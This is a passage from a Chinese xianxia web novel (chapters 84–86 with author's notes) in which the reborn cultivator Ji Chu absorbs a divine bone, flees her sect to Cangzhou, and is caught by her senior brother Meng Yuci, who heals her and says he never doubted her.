“来的路上,我一直在想,你为何能轻易取走神骨?” 薛羡尘神色错愕。 纪楚看向他,忽然笑了一下,声音也轻快起来: “然后我忽然想通了。” 她的声音冷极: “神骨算什么?不过是末神挑选躯壳的工具罢了。” “你能顺利取走神骨,因为这是掌门默许的,他就是要你取走神骨,骗出末神,再将你们一网打尽。” “而我的朋友,只是因为担心我,才会不幸成了牺牲品,也成了薛晚凝拿来毁掉我的工具。” “所以……末神真正害怕的人,真正想除掉的人,是我。” “前世是我太蠢,竟被沈恪和薛晚凝算计,到死才见到末神一面,可惜已经来不及了。” “你说什么……” 薛羡尘脸上满是诧异,像是有些听不懂纪楚的话。 纪楚却低头看向手中神骨: “你听好了,无论是巫觋族,还是魔王,你们一个都别想利用。” 神骨恶念察觉到她的意图,顿时一声嘶吼。 整座悬鹤峰都被这股邪气冲击得摇晃起来。 许盈和蒋成旭急忙捂住耳朵,这声嘶吼却仿佛来自天边一般,依然出现在他们的意识中,似利刃割开他们的神魂,痛到双耳溢血。 纪楚面无表情,手上用力,将神骨一寸寸捏碎,上面剩余的神力被她吸收。 她浑身上下的伤口迅速愈合,双目变得越发幽黑。 “只有我。只能是我。” “要么你出来,要么我去找你。” “我们做个了断。” 然后她抽出剑,薛羡尘彻底躺在了地上。 魔王拥有不灭魔魂,一个躯体坏了,只要能找到下一个躯体,便还有复生之机。 但被这股来自上界神族的邪气压着,魔魂半脱离出躯体,却一时无法逃窜。 直到这时他仍不敢相信,纪楚竟能如此轻易地吸收掉神骨的力量。 她为什么能? 她不过是个普通的修士,怎么可能如此轻易地压制住神骨的邪气?! 难道问仙大会一事并非偶然,而是她当真与众不同,才会引得末神如此忌惮? 千丝傀影如同一双铺展开的羽翼,在雨幕中轻轻摇晃着,又缓缓收拢,恢复了一柄剑的形状。 纪楚借着神骨之力,彻底将寻真剑和千丝傀影融成一体。 她决定不等师兄了。 如果薛羡尘可以,那她也可以。 并且她会比薛羡尘更合适。 只要她在,末神就一定会找过来。 纪楚决定赌一把。 远处众多拂宇仙宗弟子朝这边包围而来。 他们很快就会发现沈恪和薛晚凝的尸体,虽然不一定会将她当做勾结魔物的叛徒,但她融合了神骨,又暴露了千丝傀影,一旦被抓,想要行动,只会越发阻碍重重。 她顷刻间便做了决定。 悬鹤峰顶忽然炸开一道剑符。 其剑势森冷,杀气凛然,如霜雪骤降,触雨成冰,瞬间划过整座悬鹤峰。 薛羡尘试图逃窜的魔魂亦被斩成两半。 黑气边缘结出冰霜,被破碎的躯壳连着,竟无法完全脱离。 与此同时,赶来的没赶来的,几乎整个拂宇仙宗的弟子都被这一剑惊动了。 没想到师兄给的剑符竟然有这么强的威力,纪楚愣住,下意识睁大眼睛,茫然地看了一眼许盈和蒋成旭。 他们两人原本举剑准备阻止魔魂逃跑,没想到纪楚一道剑符挥出,别说薛羡尘了,连他俩都差点被削成冰片。 三人面面相觑。 下一刻,云舟上探出钟离白的头,他先是说了一句“我去差点被劈死啊”,然后擦了一把脸上结出冰碴子的雨水,冲纪楚疯狂招手: “纪楚!快!快上来!” 而后探出上半身,一把抓住还在发呆的纪楚的手,连拉带拽地把她拽上了云舟。 纪楚回头朝云舟下看,许盈和蒋成旭回过神来,一边假装体力不支扑到赶来的弟子身上,一边冲云舟方向招了招手,示意她快走。 纪楚放下心来。 虽然一切都与前世相似,但又有诸多不同。 许盈活着,蒋成旭和陈梧都活着。 她也不用再继续躲下去,不用再一遍遍同别人解释自己没有入魔、没有杀人。 更不用再去纠结别人是否相信她。 因为这些都不重要。 她做过什么,要做什么,在做什么,才最重要。 两世重生,她更相信自己。 这一世,她要主动去找末神,亲手结束这一切。 云舟加速飞出拂宇仙宗的范围。 纪楚从腰间取下传音玉,看了一眼,而后伸手,将传音玉毫不犹豫地从半空中扔了下去—— 作者有话说:纪楚:关机了,勿扰。 师兄:啊? 第84章 直到彻底看不见拂宇仙宗,钟离白才松了一口气,在纪楚跟前“咚”的一声坐了下来。 纪楚也跟着松了口气,坐了下来: “你怎么忽然来了?” “别提了。” 钟离白按着自己的眼皮: “我最近这个眼皮突突直跳,总记得前世也差不多就是这会儿,我跟着你去拂宇仙宗,结果刚到,你就被诬陷入魔,直接被抓了。” “如此不顺利不幸运的合作开头,我记忆犹新,永生难忘,绝对不能再出现了……” 他指着自己的传音玉: “这不,传音玉一响,我就知道肯定是出事了……不然你也不会想到找我啊!所以我立马就往这儿赶,还好赶上了!” 纪楚赞许道:“你好厉害。” 然后她顺便也狡辩了一下: “就算不出事,我也是会去找你的,咱俩可是搭档!” 钟离白一脸激动: “真的吗真的吗?你终于承认我们是搭档了!” 纪楚顿时觉得有点不好意思。 其实她最近光顾着想师兄想许盈,完全忘了钟离白这个人。 但钟离白显然没有怀疑她话里的真实性,好骗到令人发指。 他甚至还将传音玉拿出来,摆出“一脸不舍、但是为了搭档可以忍痛割爱”的表情问她: “话说,我这个传音玉也得扔吗?这是有什么说法吗?” 纪楚:“……” “……不用。” 她不想直说,是因为害怕收到师兄的消息,于是只能编理由: “我是因为……因为我……我解决了前世最痛苦的事,现在想彻底抛弃前尘往事,拥有新的开始!” 钟离白睁着无辜的大眼睛: “这样啊……有道理,那我也不用传音玉了!” 他将传音玉收起来,凑到纪楚跟前: “跟我说说,你最后那一剑是怎么劈出来的,差点把孟师兄送的云舟都劈成两半了……” “话说这次逃跑,孟师兄应该不会忽然出现威胁咱们要杀咱们了吧……” 纪楚心里一咯噔,下意识朝后看。 没有人。 她收回视线,心里有点打鼓。 自己再三保证过会等师兄回来,现在被沈恪这么一搅和,她忽然就决定融合神骨、以身为饵,师兄回来后应该会生气吧…… 会像前世那样,冷着脸说“要杀了她吗”? 纪楚忍不住咬嘴唇。 其实在今天之前,她有想过和师兄开诚布公地聊一聊的。 但今天的意外发生后,她看着自己满手鲜血,看着面前的一地狼藉,却忽然害怕了。 她不敢面对与前世相似的结果。 不知道师兄这一次,还会误会她吗? 他会相信自己吗? 会不会有一种可能,师兄不生气,也不会想要追杀她。 毕竟她这般行事,也是基于对掌门意图的猜测,并非背叛宗门,甚至还会促进末神现身…… 想到这里,她又回头看了一眼身后的方向。 他们已经离拂宇仙宗很远了。 没有人追来,说明她的猜测没有错:神骨被人带走,就是掌门默许的。 他也在等一个彻底消灭末神的机会。 要是师兄生气,掌门肯定也会拦着他的。 这个宗门里当然是掌门做主了……对吧。 纪楚在心里自我安慰一番后,冲钟离白强调道: “我刚杀了沈恪,一句解释没有就跑了,那可是宗门长老,万一有人顺着传音玉来抓我怎么办?当然还是扔了安全。” “谁会顺着传音玉来抓你啊,又不是传送符,最多骂你几句,再说那些话翻来覆去的就是什么叛徒啊魔物啊,前世又不是没听过……” 他一副熟门熟路的样子,纪楚心里那点做出重大决定后的紧张和慌乱也莫名好了许多。 确实,前世他们也是这样,在所有人不理解的指责中逃下山。 当时要去杀魔王,如今知道事情并非那么简单,末神才是一切罪魁祸首。 这么想想,方向已经正确了,成功还会远吗? 纪楚于是满意地点点头。 谁知钟离白忽然表情一变,眼神从震惊转为崇拜: “等等,你刚刚说你杀了谁?沈恪?你竟然杀了沈恪?!” 他激动地抓住纪楚的手摇了摇,嘴一张就是一番不重样的夸奖: “我当年打眼一看就知道你不是普通人!臻境越阶杀长老!狠狠报了两辈子的仇!这也太威风太帅太爽了吧!不愧是你啊纪楚!我竟然有你这么厉害的搭档!” 纪楚:“……谢谢?” 钟离白“嗐”了一声,一拍大腿: “谢什么,咱俩这情分,同生共死,患难与共,那比亲生的兄弟姐妹还要亲!” 纪楚保持着跟他握手的姿势,用力上下一晃: “你说的对,好搭档!” 钟离白于是满意。 他松开手,转身云舟边上一趴: “不过说实话,今天的场景,实在是跟上辈子有点像。” “那会儿咱俩一个是鬼,一个是修为低下的修士,人在屋檐下,不得不低头,简直是被沈恪按着欺负!” “……我都没敢跟你提,那么长把剑,你怎么能说往脸上划就往脸上划啊?我一个鬼都替你疼……好在一切都结束了……” 说起过去,纪楚心里也生出些淡淡的怅惘来。 杀死沈恪和薛晚凝,她心里竟然没什么感觉,反而是一种平静。 前尘已了,今生还有更加未知的未来。 她已不会再被过去所困了。 纪楚于是也学着钟离白的姿势趴在云舟上,两只胳膊吊在外面,动动手指就可以抓住路过的云。 一切好像真的不一样了…… 想到前世这会儿的惨状,她竟也不觉得有多难受了,甚至主动感叹道: “这么一想,我上辈子最后那段时间,过的也太恶心了。” “还说什么,要带你回宗门,找掌门和长老们帮你,结果自己却变成那个样子……” 钟离白摆手: “别说你了,我也不咋地。死的只剩个魂儿了才算出你的身份,真是白瞎了我这师门传承!” 他和纪楚对视一眼,想到上辈子一系列的失败,忍不住笑了起来。 笑着笑着,钟离白忽然弹起来,重重一拍纪楚肩膀: “没关系的纪楚!这辈子咱俩肯定能成功的!” 他刚说完这句慷慨激昂的话,忽然发现自己竟然从纪楚肩膀上拍了一手的血。 钟离白顿时一惊。 天黑时没发现,天亮了才看清楚,纪楚简直就跟个血人一样,衣服都辨别不出本来的颜色了! 他扑过来就想摸纪楚: “你怎么样?你怎么伤这么重?你真的还活着吗?不会是回光返照吧?!!” 纪楚打掉他的手: “我没事,我好的很,我把神骨吸收以后,伤口已经愈合了。” “愈合了就好愈合了就好……” 钟离白抬手擦了擦不存在的冷汗: “差点以为这辈子又得这么交代了……” 忽然,他动作又一顿,倒吸了一口凉气,感觉纪楚给他的惊吓一次大过一次: “你又把神骨吸收了?!” 他有点语无伦次: “你知道末神是想通过神骨夺舍的吧?你把神骨吸收了,岂不是……” “没错。” 纪楚丝毫不觉得自己的话有什么问题: “我就是要它别无选择,只能选我。” 她看起来并不像是被气疯后发癫冲动的样子,而是十分冷静地同钟离白分析道: “阴阳转已经用了,我们已经没有下一次机会了。现在末神总是神使背后搞事,自己却不现身,我们太被动了。” “那又怎样?” 钟离白摇头: “一时找不到我们就多找一会儿,总会有机会的。” “没有那么多的时间了。” 纪楚严肃道: “前世我便败在此时。没了无着尊者,还有薛晚凝,谁能保证之后不会再忽然冒出别人呢?若是下一次我没能撑住,着了他们的道,那这弑神之剑、弑神之人,不就又要泡汤了吗?” 钟离白知道她说的没错,但还是忍不住道: “可是这样,你就危险了。不止末神,连修真界也会追着你不放的。” 纪楚摇头,将自己关于悬鹤峰和神骨的猜测一五一十地告诉钟离白,然后道: “就算猜错了也没关系。” “只要末神害怕我就够了,它怕我真的应了‘二世弑神’的预言,所以才会想尽办法找人来害我。与其……” 钟离白举起手,打断她: “我知道你的意思。只有千日做贼,没有千日防贼。” 纪楚点头,打了个响指,赞许道: “就是这个意思。” 钟离白:“可是……” “没有可是。” 她一手指向沧州的方向,一脸豪迈地对钟离白说: “我听掌门提过,薛家一直在为天璇秘 境造势。薛晚凝和末神有关,薛家定然也有秘密,我们就去沧州!” * 沧州。 此地有灵脉,矿产丰富,盛产灵宝。 但薛氏一家独大,整个沧州十之八|九的灵宝和灵脉都归他们所有,其他人只能分些零头。 在薛家的刻意推动下,“天璇秘境”的消息不胫而走。 听闻此秘境与神界相关后,纪楚与钟离白便可以确定,自己来对地方了。 他们假装成来探秘境的散修,找了家客栈住下来。 沧州并不似修真界别处那样冷清,除却修真世家把控灵脉以外,还有许多未曾修行的凡人世代在此居住,因而依然保留着类似于人界的风尚。 商铺林立,人流如织。 若非是天璇秘境的消息引来这么多人,此时应当是沧州一年一度的“俯世节会”开办的日子。 俯世节会,取自“飘然乘云气,俯首视世寰”。 每年到了这个时候,沧州百姓就会带上面具,抛却身份,登高展望,以效仿仙人“乘云踏雾,俯瞰世间万象”的姿态。 同时,“神将降世,救此混浊之地,度化虚伪之魂”的言论也在沧州四处散播。 百姓不知神之善恶,却见过仙人飘然之姿态,只当这是件吉祥的好事。 纪楚却隐隐知道些内情,一边等着秘境开放,一边混在“俯世节会”里,四处观察情况。 当然“俯世节会”这样的活动,对于那些能够腾云驾雾的修士而言实在没有什么意思。 他们聚集在沧州,聊来聊去,话题还是集中在“天璇秘境”上。 所谓富贵险中求。 明知秘境危险重重,但就一条:此秘境与“神界”有关,百年来只开一次,进去就能得到不小的机缘。 这就足够修士趋之若鹜了。 纪楚刚听了一通“秘境或许是神界关闭后落到下界的碎片”,转头又听见有人正在议论拂宇仙宗神骨丢失、长老身死的事情。 一只纸鹤从她领口探出头,又被飞快按了回去。 说起这个传讯符,简直就跟活的一样,从她离开拂宇仙宗后没几天就开始频繁往外冒头。 原本她扔掉传音玉后便以为万事大吉,都快忘了这一茬。 可这纸鹤总睁着黑豆大小的眼睛看着她,和师兄的神情几乎一模一样。 纪楚每天闭上眼就感觉师兄在盯着她,一连做了好几天噩梦。 但扔也扔不掉,甩又甩不开,她于是只能选择装死。 每每这纸鹤钻出来用头顶她,她就立马假装哑巴,迅速将其按回去。 如此,倒也没有出现被师兄追着骂的惨剧。 再一次按下冒头的纸鹤后,纪楚收敛气息,又顺手买了个狼头面具带着,和钟离白一起混进人群偷听。 说话这人是个光头,佛修打扮,却满脸横肉,戾气丛生: “这薛晚凝死而复生后再度被人杀害,薛家却连个屁不敢放,真他娘的丢人现眼!要是老子在场,定将那贼人脖子拧断!” 钟离白隔着兔子面具看了一眼那佛修胳膊上的肌肉,后怕地摸了摸旁边纪楚的脖子。 被纪楚嫌弃地打掉。 围观人群中有人笑道: “观法大师这是路见不平,还是心疼瑶月仙子啊?” 又有人道: “说来也怪,这薛家到处宣扬天璇秘境,却连死了人都不去追究,真不知道他们打的什么算盘?” “他们倒是敢呢?” 角落里一人冷笑道: “薛晚凝入魔,竟敢对拂宇仙宗的弟子下手,死不足惜。那沈恪也是个蠢的,竟为了薛晚凝赴死,也算是感人至深了。” 这话竟然听着像是替纪楚说话似的,众人纷纷扭头看过去。 只见一个黑衣黑发、一身劲装的男子坐在阴影中,五官俊朗,却始终透着一股阴柔之气,看了让人不大舒服。 纪楚忍不住皱眉。 钟离白悄悄在她耳边说: “这人气息不纯,身上萦绕黑气,恐怕是个伪装的邪修……若是在秘境中遇见,不可信。” 他精通卜算一途,观气只是基本功。寻常修士身上不会萦绕着黑气,只有以非常手段增进修为的邪修,才会有这种不同寻常的气息。 纪楚于是点点头,将这人的样子记下。 先前那名为观法的佛修顿时怒道: “你胡说什么?” 这黑衣男子笑道: “这也不是什么秘密。有人用了‘搜魂’术,将那日死在悬鹤峰上的人全都查了一遍。整个拂宇仙宗残魂四散,简直像是冥界一般。” “搜魂术?” “人都死了,还怎么搜魂?” “死人又如何?” 黑衣人举起茶杯,目露不屑: “便是死人,只要他孟喻辞想,也得留着一息残魂,将当日之事一五一十地交代清楚。” 话语中的森然杀意,让在座众人皆打了个冷战。 他们纷纷摇头,感慨此人凶残至极,难怪薛家不敢闹事。 “那孟喻辞果真如此残忍?那沈恪可是他的师叔!” “不止呢,听说薛家派去的人也险些被杀,要不是拂宇仙宗掌门拦着,恐怕他能直接杀到沧州来!” “我早就听闻那个叫孟喻辞的杀人如麻,绝非善类,无极宗入魔,被他一人一剑杀了个通透,甚至一路杀到了魔族边界,但凡神骨现身之处,都被他杀了个干净……有传言说,就是因为他杀气太重,天璇秘境才会此时开启,以净化世间……” “此番天璇秘境,拂宇仙宗有他坐镇,你我恐难讨到好了……” 人群中唯有两道身影始终没有说话,转身默默离开。 这黑衣男子看去,只见一个带着狼头面具的人扯着身边那个带着兔头面具的人转身朝外走去。 他皱了下眉,眼里闪过一道竖着的金光,倾刻便散。 * 纪楚拽着钟离白专挑小路走,一直走到一处偏僻无人的地方。 钟离白还沉浸在刚刚听到的信息中无法自拔: “孟师兄这一次非但没有来杀你,竟然还帮你证明了清白!他可真是个好人!” “而且那可是搜魂术啊,直接搜人神魂,便是那人活着,也得被搜魂之痛变成个傻子!更何况搜魂术是多精妙的法术啊,孟师兄这到底是什么怪物啊,竟能搜得了死人残魂……” 纪楚:“……” 她没说话,加快了步子。 钟离白急忙小跑着追上纪楚: “你怎么跑这么快?你不爱听我不说就是了,别生我的气啊……” “我没生气。” 纪楚看他一眼,神色有点说不上来的烦躁: “你没听他们说吗?拂宇仙宗也派人来沧州了,而且还师兄带队,我不能被师兄发现的!” 钟离白恍然大悟: “原来你又是扔传音玉,又是一路上遮掩气息,是为了躲孟师兄啊!” “可是孟师兄替你证明了清白啊,他肯定不是来追杀你的,你为什么这么害怕啊?” 说着他忽然倒吸一口凉气,不知道想到了什么,左右看了一眼,忍不住小声问道: “你跟我说实话吧纪楚,你是不是对孟师兄做了什么?所以才这么怕他?” 纪楚脑子里闪过一些“拒绝表白”、“拒绝沟通”以及“再三保证会等他”的场景。 她沉默了片刻,果断否决: “你在瞎想什么?我能把他怎么着呢?他只是师兄而已,又不是……别的什么。” 钟离白一脸“是的我瞎想了很多”的表情。 纪楚忍不住解释: “真的不是你想的那样……就类似前世,你懂吧,咱俩是逃犯,不能被拂宇仙宗的弟子抓住的……” 她话还没说完,钟离白忽然感觉背后一凉。 紧接着,他被纪楚拉着的袖子就“刺啦”一声断成了两截。 断口平整,几乎是擦着他的皮过去的,被冰寒彻骨的剑气划过的感觉仍留在他皮肤上,简直是个警告。 这熟悉的风格……这森寒的剑 气…… 纪楚和钟离白愣住。 钟离白张大了嘴,看着自己露在外面的半条胳膊呆住了。 他第一反应就是: “我天呢,这衣服好贵呢……” 第二反应: “我靠!差一点就要把他胳膊削断了啊!” 而纪楚则捏着被剑气砍断的布料,脑子里“嗡”的一声,心道“完了”。 她速速回忆了一下自己到底哪里暴露了行踪,想来想去,天璇秘境的事情不是秘密,但能找来的这么快这么精准,大概率还是一路上不断往外冒头的纸鹤…… 她想到纸鹤的同时,那只一直纠缠着她不放的纸鹤又从她领口探出头来,甚至还亲昵地蹭了蹭她的下巴,黑豆眼睛望向她身后,似在打招呼。 纪楚:“……!!!” 这该死的传讯符,当初就不该允许师兄送给她! 师兄是不是早就算到会有今天了?! 她真是被自己毫无原则的心软和犹豫坑了!!! 事已至此……纪楚想也不想,丢了布料扭头就跑。 钟离白在她身后“啊”了一声,在捡袖子和追纪楚中间犹豫了一下。 然而只是这一眨眼的功夫,他就感到一阵凉风飞速掠过他身侧。 下一刻,跑在前面的纪楚就被一道修长高挑的身影按在了墙上。 那人身量极高,气度疏寒。 周身剑气未散,削他袖子时显然是克制了,不然,肯定将他整条胳膊一起卸了。 出手抓人时更是干脆利落,纪楚连个反应的机会都没有,就已经彻底没了还手之力。 “孟……” 钟离白张嘴,连声音都没能发出来,就眼睁睁看着纪楚和那人一起消失在了他面前。 完蛋了…… 钟离白捏着自己的半拉袖子心想。 纪楚恐怕是完蛋了。 杀死长老,劈了悬鹤峰,融了神骨,还扔了传音玉…… 这个情况丝毫没有比前世好到哪里去啊!!! 孟师兄这个样子,简直比前世堵他们的时候还要可怕。 看着不像是来抓叛徒,更像是来抓出轨逃跑的道侣的…… 而他…… 钟离白忍不住打了个冷战,庆幸自己刚刚纪楚只是拉了下他的袖子。 本着不能贪生怕死放弃搭档的原则,他拿出罗盘算了算,然后小心翼翼地跟了过去—— 作者有话说:字数多多,能勉强算二合一大肥章吗[狗头] 下章开始走最后一波剧情,彻底解决前世的遗留问题,然后师兄他……就快有贴贴剧情了! 第85章 纪楚跑的速度足够快,但身后跟来的那道剑气比她更快。 被人按在墙上的同时,她在心里默默想着。 如果老天再给她一次机会,她一定要提前准备好传送符,再随身带几个可以拦路的法器,走到哪扔到哪。 周围的场景在师兄碰到她的同时发生了变化,不再是空荡荡的街道,一脸呆滞的钟离白也不见了,反而是一处极为干净整洁的房间。 扣在纪楚肩上的手很是冰凉,没有用力,像是怕抓疼了她,但却比任何时候都要牢固,难以挣脱。 彻骨的寒意从对方身上传来,清楚地传达着他的愤怒,纪楚感觉自己浑身的骨血都是像是瞬间被冻结了一样。 一开始她还试图挣扎,但很快发现,师兄只是动作强硬了一点,进入她体内的灵力依然是舒缓平和的。 她的经脉自上次被“槛花笼鹤”伤过之后便一直不曾疏导过。 虽说吸收了神骨的力量,表面看着没有大碍,但神骨毕竟是个邪物,上面附着的力量也不是普通的灵力,如何炼化尚是个问题。 如今有师兄的灵力帮忙疏导,纪楚非但不觉得难受,竟然还有点舒服。 她于是安静下来,老老实实等着师兄帮她疗伤。 屋子里安安静静,预想中的剑拔弩张的气氛全然不存在,只有冰寒的灵力在整个空间流转。 良久,孟喻辞清越的声音响起: “为什么要跑?” 纪楚动了动嘴,没说话。 孟喻辞没再追问,继续帮她疏导经脉。 纪楚也知道师兄这回是真的生气了。 谁让她一言不发就跑路了呢? 可事情发生的第一时间,她就感觉自己无法面对师兄,也无法面对剩下的那个烂摊子,唯有跑路才能让她感到放松。 况且她也一直担心,如果在宗门等着师兄回来,能不能替她证明清白还不确定,万一她又被误解被关押,岂不是又落得和前世一样进退两难的境地? 她已经坦然接受了自己是弑神之人的身份,甚至跃跃欲试,手握寻真这把弑神之剑,主动想要和末神碰一碰。 自然,她心里比谁都清楚,自己这个决定实在冒险,师兄很大可能不会同意。 所以她只能一走了之。 如今师兄一言不发替她疗伤,未必是原谅,还有可能是暴风雨前的宁静。 隔着面具,她暗自打量了一下周围环境,目光在窗户上停留片刻。 如果她能这样再那样,说不定有机会破窗而出的一瞬间用传送符把自己传走…… 这小动作自然瞒不过师兄的眼睛。 孟喻辞简直要被她气笑了。 都到了这个时候,她竟还想着逃跑? 他忍着心底的怒意,一言不发。 面色冷寂,灵力冰寒,神色严肃地像是在审讯犯人,检查纪楚经脉的动作却很是细致小心。 灵力顺着她手腕进入体内,在右肩处感受到明显的滞涩。 他动作一顿,感觉到自己的心脏揪成了一团。 这么重的伤,几乎废了她整个右臂,几乎要断绝她右手持剑的可能性。 沈恪与薛晚凝,还是死的太轻巧了…… 孟喻辞忍不住看了一眼纪楚,心里又生出一股难言的痛楚: 她怎么能带着这样重的伤,一言不发,转头就走呢? 她怎么能? 从回到拂宇仙宗那一刻开始,他就一直在想: 他究竟要怎么做,才能让她对他有那么一丝半点的信任,起码要将伤养好,再说别的事吧? 她不知道末神要杀她吗? 她不知道自己这个选择有多危险吗? 掌门不阻止,是因为对掌门而言,末神之事远比一个自作主张弟子重要的多。 可他呢? 纪楚决定离开的时候,哪怕有一瞬间想到过他吗? 她就这么带着一身的伤,带着滞涩的经脉,就要去冒险了吗? 这么一想,他又忍不住在心里自嘲一笑。 纵使纪楚能想到他,恐怕自己也不是什么让她觉得安心的存在吧…… 不然她为什么会扔了传音玉,走的那么匆忙呢? 甚至他不停试图用传讯符联系她,她也始终不肯回应。 若是他不来找,她是不是就打算这样一直躲着他,直到事情已再无转机,直到他拼尽全力也无法救下她的那一刻? 只是想到这个可能,他就觉得自己的心好似被人一把拧住,连呼吸都觉得困难。 她怎么能对他如此绝情,如此残忍? 他用心教她修行,为她寻剑,难道就是为了眼睁睁看着她去冒险去送死吗? 她有把自己当成过师兄吗? 若是她真的出了什么事,他又该怎么办? 孟喻辞越想越生气,一不留神,指尖一颤,一大股灵力倏得钻进纪楚体内。 原本正沉浸在“有人帮忙梳理经脉好舒服”中的纪楚猝不及防被这股寒气一激,“啊”的一声叫了出来。 她下意识转身,一把推开孟喻辞,十分惊惶地朝墙角缩了缩。 狼头面具遮住了她面上的神色,只露出一双乌黑的眸子,声音被压着,显得又闷又委屈: “师兄!” 她这一张口显然是想责怪他,但转头又想到自己还处于“畏罪潜逃”的状态下,理不直气不壮的,还是不要说了。 孟喻辞因这一瞬间的失手而有些错愕。 他看了一眼 自己的指尖,上面仍萦绕着冷而寒的灵力。 想来方才自己失手,纪楚应是痛狠了,不然也不会连眼睛里都泛上了水汽。 他心里那些不甘和愠怒瞬间冷却下去,伸手想要握住她手腕: “弄疼了吗?我看看……” 纪楚哪里还敢信他,“噌”的一下子跑出去老远,拉开窗户就要往外面跳。 孟喻辞:“……” 他急忙伸手,一把将窗户按住,纪楚回头的一瞬间又被他堵在了狭小的空间里,只能被迫抬着头看向他。 孟喻辞按住她胳膊,上下捏了捏,确认她肌骨没有损伤,仍不太放心,按着那处轻轻揉了揉。 “还疼吗?” 他问道。 纪楚隔着面具瞪他,没说话,用力拽回自己的胳膊。 也就是对着师兄,她才敢在明知道是自己不发一言就跑路的情况下,依然能理直气壮地抢先一步生气。 “师兄来做什么?难道是要为了拂宇仙宗,追杀我这个叛徒?” 看她这样底气十足的样子,孟喻辞便知道应是无碍。 只是他还没来得及质问她,反倒被她质问了一通,不免有些无奈: “我已查明,一切都是沈恪与薛晚凝所为,与你无关。” 他强调: “是你不信我,自作主张逃跑。” “哼。” 纪楚扬头看向一边,故意不看他: “我都被打成那样了!不跑的话,难道等别人也来补上几道刀吗?” 她脸上的狼头面具也跟着她扭头的动作转向一边,凸起的狼嘴擦过他胸前的衣襟,高高朝天上指着,孟喻辞几乎可以想象到她面具下的表情。 他有点想笑,又有点心疼,更多的,是看到她平安无事站在他面前的欣喜。 纪楚故意抢先一步发难,就是为了让师兄找不着切入点教训她。 如今看来成效颇丰,刚刚见面时还毫不犹豫把她怼在墙上的师兄,现在身上已经没了那种又冷又凶的气息,甚至退后了半步,微微俯身,给她留出了活动的空间。 她眼珠子一转,忽然转身又要开窗。 “啪”的一声,身后伸来一只手,擦着她耳侧按在窗户上。 窗户再次被重重关上。 孟喻辞指尖一点,连着门一起上了个禁制。 “还跑?” 他语气冷了几分,一手扣着纪楚手腕,将她压在自己和窗户中间,居高临下地盯着她: “纪楚,你是不是真不把我放在眼里?也不把你自己的性命放在眼里?” “……” 纪楚逃跑无果恼羞成怒,又被这全然没有喘息空间的站位搞得极其紧张,脑子一猛,忽然用狼头重重一戳师兄胸膛: “你凭什么管我?!你自己都说了,那些事和我没有关系!” 孟喻辞不避不让,俯下身,隔着面具和她四目相对。 若非狼头面具的狼嘴太长太高,他几乎会直接贴住她的脸。 他瞧着她眼里的怒意,忍不住放低了声音,盯着她的眼睛一字一句道: “就凭我是你师兄。” 几个字像冷泉一样汩汩流过纪楚的耳朵。 她瞪着眼,感觉自己已经完全压下的愤怒再度冒了出来: “你是我师兄又怎样?!那沈恪还是我师叔呢!还不是照样对我下死手?!还有掌门,他想用神骨做诱饵,可是许盈他们的安全谁来保证?!只是因为凑巧去了悬鹤峰,就得生死不论吗?” “我就是不相信你怎么了?!我谁也不相信!” 孟喻辞沉默下来,静静看着她。 他抬手,想要碰她的额头,却只摸到了硬邦邦的狼头面具。 指尖一顿,顺着她脸侧滑下,触摸到面具边缘,然后轻轻揭起。 纪楚的视野随着面具的移开而放大。 她清晰地看到师兄清冷精致的容颜,一双沉墨似的眸子里闪过细碎的光。 她有种错觉,师兄似乎在伤心。 “对不起。” 下一刻,师兄的声音响起。 “对不起,是我不好。是我没有保护好你。是我没能让你感到安全。” 他轻轻抬手,托住她的脸,指尖先是试探着靠近,发现她没有抗拒后,才缓缓落到她的皮肤上,轻盈到像一片忽然飘下来的雪。 纪楚刚刚不管不顾地喊出这些话后就已经开始后悔了。 她明明觉得自己已经什么都不在意了,已经全然可以忘记前世那些不幸的事了,但一见着师兄,她的情绪就跟随时会爆炸的球一样,稍微一碰就会冒出来。 师兄随便一句话就可以让她完全忘记自己一开始就想保持的“冷静客套”,完完全全变成一个耍脾气的小孩。 她十分不理解,十分不高兴。 可师兄真的因此而伤心的话,她又觉得特别难受。 她垂下眼,看着师兄胸前的衣服,咬了咬唇,挤出几个字: “我其实没有想怪师兄……对不起……” 一只手揽着她的头压在自己身上。 她顺着这股力道靠在师兄身上,脸侧贴着的衣服冰冰凉凉的,却不让她感到难受,甚至想闭着眼睛蹭一蹭。 不对不对! 说话就说话,为什么会忽然抱在一起啊! 纪楚反应过来,正想推开他时,听到师兄说: “不要道歉。” 那双托着她脸颊的手移到了她身后,轻轻抚摸着她头发。 “纪楚,我只是害怕。害怕自己一时失误,让你受了这么多苦,更害怕你……” 他语气一顿: “纪楚,你不能有事,你一定要好好活着。” 师兄的声音隐约有些颤抖,听起来甚至显得脆弱。 纪楚推开他的动作一顿,心里隐隐生出些疑虑。 她忍不住想直起身,但落在她身后的手却并不给她这个机会。 看似只是轻飘飘地放在她身上,实则她一旦想离开,就会发现自己根本动不了一点。 她于是只能继续靠在师兄身上。 思来想去,还是觉得不对劲,甚至有种莫名其妙的烦躁缠着她,让她进退两难,不知道该怎么办才好。 纪楚努力从这个拥抱中探出头,蹭着他的衣服,下巴抵着他的胸口,抬起头望向师兄: “师兄,除了这个,你就没有别的话想对我说吗?” 孟喻辞神色一怔,手上力气便松了几分。 下一刻,纪楚果断推开他走向一边: “比如……” 她转回头看向他,语气微妙: “比如我做这一切,都只是为了得到神骨。” “你真的从来没有怀疑过我吗?”—— 作者有话说:纪楚(拿着前后两辈子的剧本)(反复对比):不对劲啊?师兄怎么变化这么大? ps这几天有点卡,总在反复修改,有时候还会半夜忽然跳起来把白天写的删掉重写,所以只能先更一章,等我理顺了再多多更[狗头]家人们再宠我一下吧!(转圈)我会尽快调整好的! 评论发个包补偿一下,我去抓紧时间理大纲![比心] 第86章 纪楚问出这句话的时候,心里是带着点微妙的恶意的。 她期待着师兄承认“怀疑过她”,这样她就可以证明: 人与人之间不可能有绝对的信任。 她不相信他,也是人之常情。 你看,连你都会怀疑我,我又怎么敢留在宗门,等着你们的审判呢? 可是孟喻辞却道: “没有。我从未怀疑过你。” 他转向纪楚,神色平静而笃定: “我从一开始就坚信,你一定是出了什么事,才不得不这么做的……” 纪楚闻言皱眉,下意识否决: “我不是!” 孟喻辞静静看着她。 她在他几乎要看透一切的目光中转过头看向一边: “听说师兄用了搜魂术,应该已经看到了。我会千丝傀影这种邪术,我并不是一个正义的、一个光明磊落的剑修。” “我知道。” 孟喻辞道: “邪术伤人伤己,我虽然不赞成,却也更怕你没有自保之力。” “相比起千丝 傀影,我更后悔没有教你更多防身之法,才会叫沈恪钻了空子。” “……” 纪楚有些诧异地看着他。 